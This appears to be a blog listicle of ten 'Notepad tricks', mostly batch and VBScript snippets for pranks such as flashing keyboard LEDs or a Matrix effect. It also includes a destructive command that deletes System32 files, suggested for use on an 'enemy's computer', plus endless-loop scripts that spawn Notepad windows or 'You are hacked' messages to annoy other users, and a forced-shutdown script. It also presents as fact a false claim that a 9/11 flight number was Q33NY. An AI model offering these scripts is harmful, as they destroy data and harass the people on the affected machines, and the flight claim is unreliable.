10 Best Notepad Tricks & Commands 2017

10 Best Notepad Tricks & Commands 2017

Notepad is one of the most used utility software pre-installed in every version of Microsoft Windows.Not only it serves as a fast-light-weight text editor but it can also be used to do some amazing tricks.Having the proper knowledge a person can actually cause a lot of problems in other's computer.Then,lets start to know some cool notepad tricks-

1.Make your keyboard's LED dance

A keyboard has three LEDs which are Scroll Lock, Caps Lock and Num Lock.Using this trick you can force your keyboard lights to dance.

1.First open Notepad.

2.Then,paste the following code-

Set wshShell= wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop 

 

3.Save this file as dance.vbs

4. See your  keyboard LEDs dancing.

 2.Force Windows to Shutdown

This trick can shutdown windows in a single-click.So instead of wasting time using the traditional method to shutdown computer ,this trick can shut the computer down in an instant.

1.Open Notepad

2.Type or paste the following code-

@echo off
msg * System will now shut down
shutdown -c “YOU ARE HACKED!” –s

3.Save this with .bat file extension like shutdown.bat

4.Click that file and your computer will shutdown in an instant.

3.Make a Journal

Want to create a note that would automatically save what you write with date and time. Notepad also allows us to do this, follow the steps-

1.Open Notepad

2.Type .LOG in the first line.

Please write it in uppercase or capital letters

3.Save it as log.txt

4.Now, write something without erasing what is already written like.LOG and save it.

5.Open it again and you will see edited date and time below your sentence. 

4.Make computer speak your sentence

This notepad trick will make your computer speak whatever you type in a text box. To do this follow these steps-

1.Open Notepad

2.Type or Paste the following code-

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

3.Save the file as speak.vbs

 4.Open the file and type the sentence you want your computer to speak and click ok.

5.Open notepad continuously in a computer

This notepad trick will make notepad to open continuously in a computer. It can be used to play with friends computer.

1.Open Notepad.

2.Paste the following code-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

4.Save the file as notepad.bat

5.Open the file and it would open notepad again and again.

6.Delete System32 files

This is a very dangerous notepad trick and can delete the System32 folder of Windows OS which is required for the proper working of the system.Please note that this is  for educational purposes and i am not responsible for the damage caused by it.So,here's how to do it.

1.Open Notepad

2.Paste the following code-

DEL C:\WINDOWS\SYSTEM32\*.*/Q

3.Save it as destroy.bat

You can use this in your enemy's computer.But don't try it on your own.

7.Test your Antivirus

This notepad trick will check the effectiveness of your antivirus whether it’s real-time protection is working correctly or not.This test is known as European institute for computer Antivirus Research(EICAR) Follow the steps below

1.Open Notepad

2.Paste the following code-

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

3.Save it with .com extension like samplevirus.com

8.World Trade Center attack

This is a strange and shocking trick , but you will definitely be amazed what you will see. According to this trick the flight number which struck the world trade center on 9/11 was Q33NY .Follow the steps-

1.Open Notepad

2.Type Q33N in uppercase or capital letters.

3.Go to Format>Font... and change the font the size to 72 and change font to Wingdings.
 
4.Hit OK and see what is displayed.

9.Repeat messages continuously

This notepad trick will create continuous messages on a computer. It is useful if you want to annoy someone and thus make him to log off or shut the computer. To do this, follow the steps-

1.Open Notepad

2.Paste the following code-

@echo off
:begin
msg %username%  You are hacked!!!
msg %username%  Your computer is mine!!
msg %username%  You are a fool!!
goto begin
In the above code you can change the sentences after %username% to display your messages.

3.Save this file with a .bat extension like annoy.bat

10.Matrix effect

This trick will create a random string of characters appear in green colour like seen in the movie “Matrix”.To do this, follow the steps-

1.Open Notepad

2.Paste the following code-

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

3.Save it as matrix.bat and open it.

Conclusion

Hope you like these tricks and explore notepad. Still there are many tricks that can be done with Notepad which we will post another time.do give your views and suggestions in comments.